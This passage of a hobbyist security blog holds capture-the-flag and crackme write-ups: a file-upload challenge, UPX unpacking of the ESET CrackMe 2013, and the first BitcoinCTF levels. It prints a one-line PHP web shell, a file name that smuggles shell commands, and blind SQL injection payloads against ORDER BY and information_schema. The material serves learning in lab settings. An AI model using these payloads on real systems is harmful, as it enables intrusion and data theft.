<div class="separator" style="clear: both; text-align: left;">
The reason that this failed is that the file name could not contain such special characters as '|' or '>'. Then, after thinking about it for a few minutes I realized that there is a much simpler solution.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3>
Shell</h3>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The simple solution is the following:</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<ul>
<li>Upload a PHP shell with a png extension</li>
<li>Rename the file so it has a php extension</li>
</ul>
So I created a really basic shell in PHP:<br />
<div class="separator" style="clear: both; text-align: left;">
</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><?php </span><span style="font-family: Courier New, Courier, monospace;">echo system($_GET['s']); </span><span style="font-family: Courier New, Courier, monospace;">?></span></blockquote>
<div class="separator" style="clear: both;">
I uploaded this as shell.png, and then uploaded another file:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">´cd uploads;cd 6a9btoq20khkn8ln5lfhuo6v62;cp 65-shell.png shell.php´.png</span></blockquote>
This worked and I had a remote shell:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ2SqH0MudFKBDw_Z9cY3H8BbCRQOBwkZ9sx5oj-lsqP6VR-ThvEo236c1fsVthNnnXKbxSolenUkeWEiGQnnujwBrLCQeUovUTI1IAm4tkAvpebPHHWpHboPSWuN84Qh5gZvQw-KsuXE/s1600/gallery_shell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ2SqH0MudFKBDw_Z9cY3H8BbCRQOBwkZ9sx5oj-lsqP6VR-ThvEo236c1fsVthNnnXKbxSolenUkeWEiGQnnujwBrLCQeUovUTI1IAm4tkAvpebPHHWpHboPSWuN84Qh5gZvQw-KsuXE/s400/gallery_shell.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Using the shell I looked around and the file named "picture" contained a flag.</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-4865299505302749262013-05-09T06:38:00.000-07:002013-05-09T06:38:56.253-07:00ESET CrackMe! 2013 write-upAs this year's <a href="http://2013.confidence.org.pl/">CONFidence </a>is nearly here the guys at ESET created another <a href="http://2013.confidence.org.pl/eset-crackme">CrackMe </a>challenge. The first 5 people to solve it received a free ticket for the conference. Unfortunately I was not one of the first 5, but solving the challenge was fun regardless. This is the first time I participated, but I think this year's challenge was not as hard as the previous ones. I read some write-ups from last year and that one seemed much harder. If you are a beginner like me, you may want to try and solve it yourself before you read on.<br />
<br />
Anyways, on with the solution.<br />
<br />
<h3>
PEiD</h3>
<div>
Let's open the downloaded program and see what happens. When you start the application it displays a nice welcome message and it even has a help menu. I tried a random password just for kicks, but it didn't work. Oh, well.</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC33aNecWFUd7HLhPtc3elGkohRkZggQkeNOvUhBaaqcuNnqUYpYp4kvQOILfgWT8m7EFKbZfaiPuCQzrlQhBK1Ef2QkwV_Ma8ZB_Tycb5jVOGJ4iltzMCvpTUs7giy9KSsodC2aZAxt8/s1600/welcome.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC33aNecWFUd7HLhPtc3elGkohRkZggQkeNOvUhBaaqcuNnqUYpYp4kvQOILfgWT8m7EFKbZfaiPuCQzrlQhBK1Ef2QkwV_Ma8ZB_Tycb5jVOGJ4iltzMCvpTUs7giy9KSsodC2aZAxt8/s400/welcome.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's jump into things and open the application in IDA pro. This is what happens:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikwKTxX8ukzjGPnwN6H7smEoQa97K_GXcIugjnmbhabgxfutKUF6xK5U9uPPPsJGJZp-gBG8K4u6A7Suylh6o6U6xkd05rEmkZf17HkGm3qbBOXJZMvMaQYUN6Tf5ISAcWtS_j4IefCek/s1600/ida_warning.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikwKTxX8ukzjGPnwN6H7smEoQa97K_GXcIugjnmbhabgxfutKUF6xK5U9uPPPsJGJZp-gBG8K4u6A7Suylh6o6U6xkd05rEmkZf17HkGm3qbBOXJZMvMaQYUN6Tf5ISAcWtS_j4IefCek/s320/ida_warning.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Okay, this might mean that the file was packed. And indeed the first instruction is <span style="font-family: Courier New, Courier, monospace;">pusha</span>, which is suspicious. Better check what packer was used. Let's fire up PEiD.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivhNftmNdNE1bo3cbt6oeuQJ6scEP9_VBSxWVn6b_0bs9yNrx42HddK2s7zI3y4a9Ud3l-4BP1oUsKUWgDHjRgbv51u2T9IAlh9eQ78aCe2g7y83GtAz8c9AirUyIuA_pXsLakL5wCRyM/s1600/peid.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivhNftmNdNE1bo3cbt6oeuQJ6scEP9_VBSxWVn6b_0bs9yNrx42HddK2s7zI3y4a9Ud3l-4BP1oUsKUWgDHjRgbv51u2T9IAlh9eQ78aCe2g7y83GtAz8c9AirUyIuA_pXsLakL5wCRyM/s320/peid.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3>
UPX</h3>
<div class="separator" style="clear: both; text-align: left;">
UPX it is. Well let's try and unpack it in UPX itself, which has a nifty "-d" flag for this.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmFPK7fc9T16EddSliULFF7pqSS-GNkoyRFHddQ_rw8_UYBcIzF3eNNwtGG-Zl1ziX1zoHov__ALROXWNYXhquZnkyS5-sbDgtHvyxgyqLIdstFQkv0MaQ4YEtCQm6LZCx29OwMY_UBHc/s1600/upxfail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmFPK7fc9T16EddSliULFF7pqSS-GNkoyRFHddQ_rw8_UYBcIzF3eNNwtGG-Zl1ziX1zoHov__ALROXWNYXhquZnkyS5-sbDgtHvyxgyqLIdstFQkv0MaQ4YEtCQm6LZCx29OwMY_UBHc/s400/upxfail.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Close, but no cigar. We will have to do it by hand. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3>
OllyDump</h3>
<div class="separator" style="clear: both; text-align: left;">
I recently started attending a sort of University "club" about reverse engineering, which is <u>awesome</u> by the way, and our first homework was doing exactly this by hand. <a href="http://www.reconstructer.org/papers/Unpacking_UPX_and_Aspack_with_ESP_Trick.swf">Here</a> is a demo that demonstrates the solution. The trick is that most packers (including UPX) push all the registers onto the stack before the unpacking begins, and when the unpacking is done they pop all of the values back. By placing a hardware breakpoint on one of the pushed values, we can find when they are popped and dump the unpacked process. Another solution in IDA is looking at the graph view, scrolling to the bottom and finding a <span style="font-family: Courier New, Courier, monospace;">popa</span> instruction that marks the end of the unpacking.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Since Ollydbg has a really nice OllyDump plugin, we will use that to manually unpack the CrackMe. After starting Olly we immediately find the <span style="font-family: Courier New, Courier, monospace;">pusha</span> instruction. Then we press step over once and follow ESP in the dump, just like in the demo.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimgJNcCkgUtOrdVOqUVW6T1kOZlbK1fr63UeFEsC7_NjDwL5h2P3oi594k56LVrRyWD8Y5aj9wvPS176r_TDClF6dEt0Em5YwRA5bQ8JbNPXcTZELEcNl2qyAQCseWTa8A25ZZDVZARds/s1600/unpack1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimgJNcCkgUtOrdVOqUVW6T1kOZlbK1fr63UeFEsC7_NjDwL5h2P3oi594k56LVrRyWD8Y5aj9wvPS176r_TDClF6dEt0Em5YwRA5bQ8JbNPXcTZELEcNl2qyAQCseWTa8A25ZZDVZARds/s400/unpack1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Then we can put a hardware breakpoint on the value and start execution.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4wCKUcWFA14cg9USVdiM9KLgdzEOouZ907ByQkmI6icmzp1VIp4jgd7SNFakjD-6kAavIJ6UdTYHCbGSm3nxzT3XcyJESeiHx0BXQrbxqtpBmNQ4unKx2BJAxHt7djjZ11WXKgDsvX9I/s1600/unpack2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4wCKUcWFA14cg9USVdiM9KLgdzEOouZ907ByQkmI6icmzp1VIp4jgd7SNFakjD-6kAavIJ6UdTYHCbGSm3nxzT3XcyJESeiHx0BXQrbxqtpBmNQ4unKx2BJAxHt7djjZ11WXKgDsvX9I/s400/unpack2.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The debugger immediately stops after the <span style="font-family: Courier New, Courier, monospace;">popa</span> instruction. We are close now.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhUgosydJ7vNwK2RhDRyyiriPj0ATQU2-ldHOvU3q8YSeTqTaiam9gbR1v1P4ElvtnYxrR7jk8G1cx28Lbut5OLQpSytY56S8WdyIJOSPbjkF7i3Wq8LZ-OW-E74uyET_k9dXMD233XII/s1600/unpack3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhUgosydJ7vNwK2RhDRyyiriPj0ATQU2-ldHOvU3q8YSeTqTaiam9gbR1v1P4ElvtnYxrR7jk8G1cx28Lbut5OLQpSytY56S8WdyIJOSPbjkF7i3Wq8LZ-OW-E74uyET_k9dXMD233XII/s400/unpack3.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
We can see a little loop that pushes 0 onto the stack until ESP reaches EAX. And after this is where the magic happens. We jump to <span style="font-family: Courier New, Courier, monospace;">0x0040A97C</span> which is the entry point of the unpacked process. We put a breakpoint on this jump and then step to the entry point. This is when we can use OllyDump. Sweet, but don't close Olly yet!</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFDjyd1KukgMXKz87P-OFCZpOY8zykBo9ChGX8LH8-0kCCVfXf_R2A4RKzU5b42nQ65cUaEzi65Foq8YZGBaEsBkW_PpkuPg3ttpsj02TIeyhoWofVUy_5iKrfyo4ivQzaSg3_L3r2xzs/s1600/unpack4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFDjyd1KukgMXKz87P-OFCZpOY8zykBo9ChGX8LH8-0kCCVfXf_R2A4RKzU5b42nQ65cUaEzi65Foq8YZGBaEsBkW_PpkuPg3ttpsj02TIeyhoWofVUy_5iKrfyo4ivQzaSg3_L3r2xzs/s320/unpack4.png" width="320" /></a></div>
<h3>
ImpREC</h3>
<div class="separator" style="clear: both; text-align: left;">
The dump won't start by itself. Just like in the demo, we need to rebuild the IAT and ImpREC (Import REConstructor) is a great tool for this. We start ImpREC and select the CrackMe process. It loads the process and displays the image base: <span style="font-family: Courier New, Courier, monospace;">0x00400000</span>. With this we can figure out the OEP value. The EIP that we jumped to in Olly was <span style="font-family: Courier New, Courier, monospace;">0x0040A97C</span>. Subtract the image base and we get an OEP (<span style="font-family: Courier New, Courier, monospace;">0xA97C</span>). </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGU9UEbV8JSSKGS2v9-Cwrj-nthnFMYQWIXQwtjvF2odHW9xQQ6SVexnkWNmaSntlfJb54O34IvVQa8_GV6vLOLGTF-cS0f4xjYkxovNEn4UiVLoN9gFhf6VmlmAPhAFJ-7jB1l9HB__Y/s1600/unpack5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGU9UEbV8JSSKGS2v9-Cwrj-nthnFMYQWIXQwtjvF2odHW9xQQ6SVexnkWNmaSntlfJb54O34IvVQa8_GV6vLOLGTF-cS0f4xjYkxovNEn4UiVLoN9gFhf6VmlmAPhAFJ-7jB1l9HB__Y/s400/unpack5.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Then we can just follow the demo and click "Get Imports" and then "Fix Dump". At the end we should have a fixed dump that executes. We can finally start reversing things.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3>
IDA</h3>
<div>
This time when we load the exe into IDA pro we don't get any warnings and we even have a nice Imports table. Let's look at the entry point first. What we see is a ton of mov instructions that move constants to seemingly random locations. At this point I was really hoping it is not a virtual machine. But looking at the data that is copied closely, we can see that they are mostly letters and spaces. We can press R to see the actual characters and voilà:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQHiKcEmiBLHXg6LVWPum5Nym3Ayj62KANRiffUtE6rMxx4x4uZvDjnKTHbVRmvvSJNihbravZuK7I5tZz9O8pZBP_tcaW1roA-lzAc1xhQhw5Mm9fjr85raRUfDNb9a4S53xQmF8u-eQ/s1600/ida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQHiKcEmiBLHXg6LVWPum5Nym3Ayj62KANRiffUtE6rMxx4x4uZvDjnKTHbVRmvvSJNihbravZuK7I5tZz9O8pZBP_tcaW1roA-lzAc1xhQhw5Mm9fjr85raRUfDNb9a4S53xQmF8u-eQ/s320/ida.png" width="268" /></a></div>
<div>
<br /></div>
<div>
Okay this is random. But looking at it again, the locations are random too and the stars are familiar from the welcome screen of the CrackMe. I really wanted to see the assembled memory in one place so I started debugging with a breakpoint at the end of this whole thing. Let's follow this in a hex window.</div>
<span id="goog_2018117373"></span><span id="goog_2018117374"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLscPiGQmolwvc0j8pgBKsBhTWH7Odq2PejJGyTxTANEF8sVEK7cGAFmINIZMKfn5xUWrzIOKKY04LqY5inm8Bh50lMYRDjv9z7VZlYpBHMKtkcw6DlYGx0ElPjsXH0FkF6nj4YYublgs/s1600/ida2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLscPiGQmolwvc0j8pgBKsBhTWH7Odq2PejJGyTxTANEF8sVEK7cGAFmINIZMKfn5xUWrzIOKKY04LqY5inm8Bh50lMYRDjv9z7VZlYpBHMKtkcw6DlYGx0ElPjsXH0FkF6nj4YYublgs/s400/ida2.png" width="267" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFfIQIzwoKv4LdN1MtLhE04mo1Ixlc31RTRNXTmvu4uW4DDyyrd-8D2VdkSqJwCXnJht78FeH3DnFPQmfBUifY-HnI5lTH9zJkMETV4WGPv4rOApIjicWqVcVXTgAFzkVRHe8Hm4F5Bqs/s1600/ida3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFfIQIzwoKv4LdN1MtLhE04mo1Ixlc31RTRNXTmvu4uW4DDyyrd-8D2VdkSqJwCXnJht78FeH3DnFPQmfBUifY-HnI5lTH9zJkMETV4WGPv4rOApIjicWqVcVXTgAFzkVRHe8Hm4F5Bqs/s400/ida3.png" width="330" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
And this is it. There it is, in cleartext. Let's see if it really works, or it's just a prank. The password spells "BAZINGA!" after all.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA5KeVSxB3AA15AbgzCAgzqziBhm2EwcekinyDhV55203NOH0wJvOeOuCpKgNBbZ3cSGFEm3fz5Pedg5stT6B6GXHxD6XRVzAbV0B_QRxIv6APRq5CA2pEXZrrkfCMaYVuJp1UEdinFf4/s1600/solution.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA5KeVSxB3AA15AbgzCAgzqziBhm2EwcekinyDhV55203NOH0wJvOeOuCpKgNBbZ3cSGFEm3fz5Pedg5stT6B6GXHxD6XRVzAbV0B_QRxIv6APRq5CA2pEXZrrkfCMaYVuJp1UEdinFf4/s400/solution.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
It works !It's great, but to me this seemed a bit too easy. I was done with this in about 15 minutes. It's too bad that I only heard about the CrackMe 2 hours after it was tweeted. Anyway, kudos to my friend who did it a minute earlier than me.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
For some reason I was convinced that this is just a decoy pasword and started reversing the application a bit more. Apparently it reads the password, then takes the MD5 hash of "BAZINGA!", then takes the MD5 hash of the entered password and compares them. There is a bit of protection when/before the hashing happens. The program checks for various processes and also starts a timer before the hashing. If the time difference is greater than a specified value after the hash is finished it puts the program into an infinite loop.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
It's really strange that they put the cleartext password in there and later used MD5. Was this just for obfuscation? I don't know. Anyway, I had fun with this. Thanks to the guys at ESET for creating this CrackMe. I hope you enjoyed this short write-up. If you spot a mistake, please comment.</div>
<br /></div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-81858843274945750662013-05-04T07:25:00.000-07:002013-05-05T11:53:13.587-07:00BitcoinCTF - write-up of the first 3 levelsThe <a href="http://www.bitcoinctf.com/">BitcoinCTF</a> started yesterday and just a couple of minutes ago somebody won, taking both of the BTCs as a prize. I had fun with the first three levels - and was extremely frustrated with the 4th one - so I decided to make this write-up. I'm only an amateur enthusiast doing this as a hobby, so if you spot something that could have been done easier/better please feel free to comment.<br />
Okay, on with the solutions.<br />
<br />
<h3>
</h3>
<h3>
Level 1</h3>
<div>
The first level presents us with a simple login form, which looks like this:<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhQJZ7bnFy20Qk6UjcHR_240tvR7aMeIWAC6mBus3VE-k48h2K8n21Ve689IPRfBWW8YfJbO5zz5K7-LjmNXxeIALNDYNJoaI-y9imoDaLRNccQ6VUhXEDcs9ev7GeTwAeGyxtEsU8eOk/s1600/login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhQJZ7bnFy20Qk6UjcHR_240tvR7aMeIWAC6mBus3VE-k48h2K8n21Ve689IPRfBWW8YfJbO5zz5K7-LjmNXxeIALNDYNJoaI-y9imoDaLRNccQ6VUhXEDcs9ev7GeTwAeGyxtEsU8eOk/s1600/login.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Naturally the first thing that comes to mind is SQL injection. Let's put a single quote in the username field and hope for an error. Nope, no luck. Maybe the errors are just turned off and something like <span style="font-family: Courier New, Courier, monospace;">' or 1=1%23</span> could work. But it doesn't.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
We should stop for a minute and try to guess the query. A good guess would be:</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">SELECT user, pass FROM users WHERE user = '$user' AND pass = '$pass'</span></blockquote>
<div>
But apparently the user and pass values must be filtered, since the single quote doesn't break the query. Is it magic_quotes that filters them, or a simple preg_replace that changes <span style="font-family: Courier New, Courier, monospace;">'</span> to <span style="font-family: Courier New, Courier, monospace;">\'</span><span style="font-family: inherit;">? </span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">Let's try entering a backslash to the end of the user field. Yeah! It gives us an error. This is what happens to the query:</span></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">SELECT user, pass FROM users WHERE user = <span style="background-color: white;"><span style="color: #0b5394;">'xxx\' AND PASS = '</span></span>zzz'</span></blockquote>
So the backslash at the end of the user value will escape the ending quote and the string that MySQL compares will last until the start of the pass value. The pass value will then be treated as code, so we found a way to inject SQL. The solution would be:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrFm4iSkJ_P0w34ziR9MW0wdAM4HHhyphenhyphenrQSQSm3_rusqwnakjBStHjImmJX9roI132sOz_JzmLZqQiKSULa_NN-_b-A_duMAVjg8MgsXjbdJWEcAYnSeB_rQA3pvi3cqbkfLspiHb0BMrM/s1600/login_solution.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrFm4iSkJ_P0w34ziR9MW0wdAM4HHhyphenhyphenrQSQSm3_rusqwnakjBStHjImmJX9roI132sOz_JzmLZqQiKSULa_NN-_b-A_duMAVjg8MgsXjbdJWEcAYnSeB_rQA3pvi3cqbkfLspiHb0BMrM/s1600/login_solution.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<h3>
</h3>
<h3>
Level 2</h3>
<div class="separator" style="clear: both; text-align: left;">
Following the link to level 2 gives us this page. Note the url parameters.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBtz42_iHtffp2cGCad8ihXZVzDKB1vz6ZB8tZ7y-2hwoSi9rNjeDhRKR2mk-AithtpgdXGjPyienGJDogt7sVWJsta9VQ-RSdJZMkWt5iKVoENZ8_TC38WeIOjOsdCoJo9EiG4Pcz3h8/s1600/bookmark1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBtz42_iHtffp2cGCad8ihXZVzDKB1vz6ZB8tZ7y-2hwoSi9rNjeDhRKR2mk-AithtpgdXGjPyienGJDogt7sVWJsta9VQ-RSdJZMkWt5iKVoENZ8_TC38WeIOjOsdCoJo9EiG4Pcz3h8/s400/bookmark1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
It is quite clear that we should be able to inject into the orderby parameter. Unless of course this is just a decoy, but it turned out that it isn't. First let's do some basic tinkering. The ORDER BY clause accepts column indexes as a parameter:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?orderby=1&limit=10 -- this works</span> </blockquote>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"></span><span style="font-family: Courier New, Courier, monospace;">?orderby=2&limit=10 -- this works</span> </blockquote>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"></span><span style="font-family: Courier New, Courier, monospace;">?orderby=3&limit=10 -- this works too, WTF?</span> </blockquote>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"></span><span style="font-family: Courier New, Courier, monospace;">?orderby=4&limit=10 -- doesn't work</span></blockquote>
Apparently there are 3 columns in the table that stores these bookmarks. That's strange, but the third column could simply be an identifier. Now let's see if we can inject arbitrary code to the ORDER BY clause. The simplest way to do this is the SLEEP() function.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?orderby=sleep(3)&limit=10</span></blockquote>
This took roughly 3 seconds, we should be good! This is the point where I realized that it can only be done blindly. And we really don't want to do a time-based blind injection because that takes ages, so we have to come up with a query that either gives an error or displays the single bookmark based on its parameters. Then I tried something:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?orderby=(select 1)&limit=10 -- this works<br /> </span><span style="font-family: Courier New, Courier, monospace;">?orderby=(select 1 union all select 1)&limit=10 -- fails</span></blockquote>
This is nothing surprising - ORDER BY accepts one value, you can't pass more rows. You also can't do <span style="font-family: Courier New, Courier, monospace;">(SELECT 1,2)</span> but that won't really help us here. So we need to form a query that returns 1 row if it fails and it returns 2 rows if it doesn't. Returning 0 rows wouldn't result in an error.<br />
<br />
What do we want to read from the database? We have no idea at this point. We have to read the schema names, table names and column names to find intersting tables/columns. Fortunately the information_schema contains all of this information in the "tables" and "columns" tables.<br />
<br />
We need to form queries to do this blindly and write a script to inject automatically, since we don't want to do it by hand, that would take forever. This was my thought process (omitting the <span style="font-family: Courier New, Courier, monospace;">?orderby=</span> and <span style="font-family: Courier New, Courier, monospace;">limit</span><span style="font-family: inherit;"> </span>paramters here for readability):<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(select table_name from information_schema.tables)</span></blockquote>
This fails because it retuns many table names<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">(select table_name from information_schema.tables limit 1)</span></blockquote>
This works, and returns the first table, but how do we add a WHERE clause that enables us to check a table with an index of our choosing? We need to put this in a subquery and do something like this:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(select 1 from (select table_name from information_schema.tables limit 1) a)</span></blockquote>
<span style="font-family: inherit;">The 'a' is there because we need to name the table that the subquery creates at runtime. And now we can add a WHERE clause and blindly check each letter of the first table.</span><br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(select 1 from (select table_name from information_schema.tables limit 1) a where substring(a.table_name, 1, 1) = 'A')</span></blockquote>
<span style="font-family: inherit;">Even though we can be 99% positive that this begins with 'C' (Collations is usually the first table of inofrmation_schema), no matter what letter we check,</span> the query never fails. Of course, I wrote earlier that the ORDER BY clause can take a subquery that returns 0 or 1 rows. And we always return 0 or 1 rows. Let's fix this by returning 1 or 2 rows. That's easy, just union a new row and we are done.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(select 1 from (select table_name from information_schema.tables limit 1) a where substring(a.table_name, 1, 1) = 'A' union all select 1)</span></blockquote>
After trying a few letters it is clear that it only fails on 'C', thus we were right and we have a way to dump the database now. Let's write a script that does this for us, because it's a tedious amount of work by hand. Before we write a script, let's think about how this could be done with even less queries. Figuring out a letter (provided that we know the table name only contains letters, and this should never be expected, especially when reading other data) would take 26 queries. Why don't we do a kind of "binary search"? That would take 8 queries and we could read any character. To do this, we use the bitwise AND operator to check each bit of a character.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(select 1 from (select table_name from information_schema.tables limit 1) a where char(substring(a.table_name, 1, 1)) & 1 = 1 union all select 1)</span></blockquote>
Then we can check <span style="font-family: Courier New, Courier, monospace;">x&2=2</span>,<span style="font-family: Courier New, Courier, monospace;"> x&4=4</span>, etc.<br />
<br />
